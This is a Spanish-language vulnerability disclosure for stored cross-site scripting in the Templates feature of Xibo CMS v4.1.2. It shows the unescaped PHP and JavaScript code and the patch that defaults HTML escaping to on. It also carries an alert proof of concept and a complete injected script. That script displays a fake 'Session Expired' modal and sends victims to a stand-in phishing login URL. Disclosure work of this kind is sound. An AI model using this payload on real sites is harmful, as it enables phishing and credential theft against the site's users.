
Cross-Site Scripting almacenado (XSS) en Xibo CMS v4.1.2 de Xibo Signage, debido a la falta de validación adecuada de la entrada del usuario.
He descubierto una vulnerabilidad de Cross-Site Scripting (XSS) almacenado en Xibo CMS v4.1.2. Esta vulnerabilidad permite a un atacante autenticado inyectar scripts maliciosos en la aplicación debido a una validación incorrecta de la entrada proporcionada por el usuario.
El problema reside en la función 'Templates'. Un atacante puede crear una plantilla que contenga un elemento de texto con una carga maliciosa. Cuando otros usuarios ven esta plantilla, el script se ejecuta en su navegador, lo que potencialmente puede conducir al robo de datos u otras acciones maliciosas.
Para explotar la vulnerabilidad, un usuario autenticado debe seguir estos pasos:
<script>alert(1337)</script>).Esta sección contiene el fragmento de código específico de Xibo CMS v4.1.2 que no sanea la entrada del campo 'Text'.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
} else if ($extension !== null) {
En otra línea del mismo documento.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
En otro documento.
// Escape HTML
convertedProperties.escapeHtml = template?.extends?.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
Esta sección muestra el código parcheado, que incluye mecanismos adecuados de saneamiento de entrada y codificación de salida para neutralizar scripts maliciosos.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
} else if ($extension !== null) {
En otra línea del mismo documento.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
En otro documento.
// Escape HTML
convertedProperties.escapeHtml =
(template?.extends?.escapeHtml === undefined) ?
true : template.extends.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
La carga almacenada se ejecuta en el contexto del navegador de la víctima, lo que puede aprovecharse para robar información sensible como contraseñas.
1. Inyección de la carga: El atacante inserta el script malicioso en un elemento de texto dentro de una plantilla.

El script que utilicé es el siguiente:
<script>
(function() {
// --- MAIN FUNCTION ---
function showRedirectModal() {
// 1. Create the elements
const overlay = document.createElement('div');
const modalContainer = document.createElement('div');
const title = document.createElement('h2');
const message = document.createElement('p');
const redirectButton = document.createElement('button');
// 2. Assign styles and properties
// Style for the dark overlay
Object.assign(overlay.style, {
position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
display: 'flex', justifyContent: 'center', alignItems: 'center'
});
// Style for the modal container
Object.assign(modalContainer.style, {
padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
fontFamily: 'Arial, sans-serif'
});
// Style for the title
title.textContent = 'Session Expired';
Object.assign(title.style, {
textAlign: 'center', color: '#333', marginBottom: '15px'
});
message.textContent = 'Your session has expired. Please log in again to continue.';
Object.assign(message.style, {
textAlign: 'center',
color: '#555',
marginBottom: '25px',
lineHeight: '1.5',
fontSize: '16px'
});
// Style for the redirect button
Object.assign(redirectButton.style, {
width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
backgroundColor: '#007bff', color: 'white', fontSize: '16px',
cursor: 'pointer'
});
redirectButton.textContent = 'Log In Again';
// 3. Assemble the modal structure
modalContainer.appendChild(title);
modalContainer.appendChild(message);
modalContainer.appendChild(redirectButton);
overlay.appendChild(modalContainer);
// 4. Add the modal to the page
document.body.appendChild(overlay);
// 5. Define the button's behavior
redirectButton.addEventListener('click', function(e) {
e.preventDefault(); // Buena práctica
const phishingURL = 'http://my-website-example.com/login.html';
window.location.href = phishingURL;
document.body.removeChild(overlay);
});
}
// --- Initialize the function ---
showRedirectModal();
})();
</script>
2. Escenario de ataque: Un ataque común simula la expiración de la sesión para capturar las credenciales del usuario. El script secuestra la página y presenta esta ventana emergente a la víctima.

Esta información se proporciona únicamente con fines educativos y de investigación. NO soy responsable de ningún uso indebido o daño causado por esta información.